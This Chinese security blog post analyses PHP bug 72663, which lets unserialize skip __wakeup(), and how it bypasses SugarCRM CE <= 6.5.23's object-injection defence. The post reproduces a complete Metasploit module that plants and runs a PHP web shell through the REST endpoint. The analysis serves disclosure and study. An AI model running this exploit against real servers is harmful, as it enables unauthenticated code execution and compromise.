稿费:500RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
SugarCRM开源版是一款完全开放源代码的商业开源软件,具有界面活泼、简单易学的特点。美国SugarCRM公司是一间创立于2006年、但迅速在全球范围取得一定影响的客户关系管理软件厂商。其基本的商业策略是 一边销售收费低廉的企业版/专业版软件,获得收益;一边推出免费的、功能较少的开源版软件,培养未来的付费客户、吸引志愿者参加研发。大多数使用该软件的企业,并发用户数在几个到几万个的范围内。
0x00 前言
这个漏洞很有意思,涉及到rayt牛新提交的php底层bug,这个bug导致了sugarCRM的反序列化防御失效。
0x01 反序列中异常对象导致__wakeup()不被执行
php bug(php<=5.6.24):https://bugs.php.net/bug.php?id=72663
1.原理分析
static inline long object_common1(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
{
...
if (ce->serialize == NULL) {
object_init_ex(*rval, ce); <=== 创建对象
...
static inline int object_common2(UNSERIALIZE_PARAMETER, long elements)
{
...
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_PP(rval), elements, 1)) { <=== 创建对象属性
return 0;
}
if (Z_OBJCE_PP(rval) != PHP_IC_ENTRY &&
zend_hash_exists(&Z_OBJCE_PP(rval)->function_table, "__wakeup", sizeof("__wakeup"))) {
INIT_PZVAL(&fname);
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1, 0);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval_ptr, 0, 0, 1, NULL TSRMLS_CC); <=== 调用 __wakeup()
BG(serialize_lock)--;
}
通过上边代码和标注,可以清晰的认识到,在创建一个对象的过程中由于对象属性创建的时候出现异常导致__wakeup()不被调用直接return 0;
这个过程中属性是被成功创建了,析构函数依旧会被执行,这样就会导致一些安全问题。
2.实际测试
测试代码:
<?php
class test{
var $wanniba;
public function __destruct(){
$this->wanniba = "*__destruct<br />";
echo $this->wanniba;
echo "__destruct OK!<br />";
}
public function __wakeup(){
$this->wanniba = "*__wakeup<br />";
echo $this->wanniba;
echo "__wakeup OK!<br />";
}
}
#$a = new test();
#echo serialize($a);
$payload = 'O:4:"test":1:{s:7:"wanniba";N;}';
$payload1 = 'O:4:"test":1:{s:7:"wanniba";N;s:8:"payload";}';
$abc = unserialize($payload);
$abc1 = unserialize($payload1);
测试结果:
一种为正常情况,一种为异常情况,当我们构造特殊的payload的时候,程序只执行了__destruct()没有执行__wakeup()。
0x02 SugarCRM CE <= 6.5.23 对象注入漏洞
众所周知反序列化代码执行需要两个基本挑战,1.反序列化函数;2.可利用的__wakeup()和__destruct()。
1.代码分析
https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/service/core/REST/SugarRestSerialize.php
可控参数rest_data,利用函数sugar_unserialize,反序列化代码执行的第一个条件有了。
https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/include/SugarCache/SugarCacheFile.php
可利用函数 __destruct()有了,可以看见上边红框中的内容,开发人员利用__wakeup,在反序列话中会被调用的特性来防治反序列话导致的代码执行漏洞
通过我们上边的分析,可以成功bypass过这个防御,利用 __destruct()中的代码实现漏洞利用。
2.漏洞利用测试
研究人员已经开发好了msf的利用方法:
https://www.exploit-db.com/exploits/40344/
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
'Description' => %q{
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
the permissions of the webserver. The dangerous unserialize() call exists in the
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
},
'Author' => 'EgiX',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
['URL', 'https://bugs.php.net/bug.php?id=72663']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2016'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
], self.class)
end
def exploit
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
payload_serialized = "O:+14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";"
payload_serialized << "s:#{upload_php.length+2}:"..#{upload_php}";S:16:"\00*\00"
payload_serialized << "_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:55"
payload_serialized << ":"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>";}}"
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
'method' => 'POST',
'vars_post' => {
'method' => 'login',
'input_type' => 'Serialize',
'rest_data' => payload_serialized
}
})
if not res or res.code != 200
print_error("#{peer} - Exploit failed: #{res.code}")
return
end
register_files_for_cleanup(File.basename(upload_php))
print_status("#{peer} - Executing the payload #{upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, upload_php),
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
})
if res and res.code != 200
print_error("#{peer} - Payload execution failed: #{res.code}")
return
end
end
end
0x03 总结
一个php的底层小bug引起的上层php开发中防御措施实效。
引用:
https://bugs.php.net/bug.php?id=72663
https://github.com/php/php-src/blob/PHP-5.6.26/ext/standard/var_unserializer.c
发表评论
您还未登录,请先登录。
登录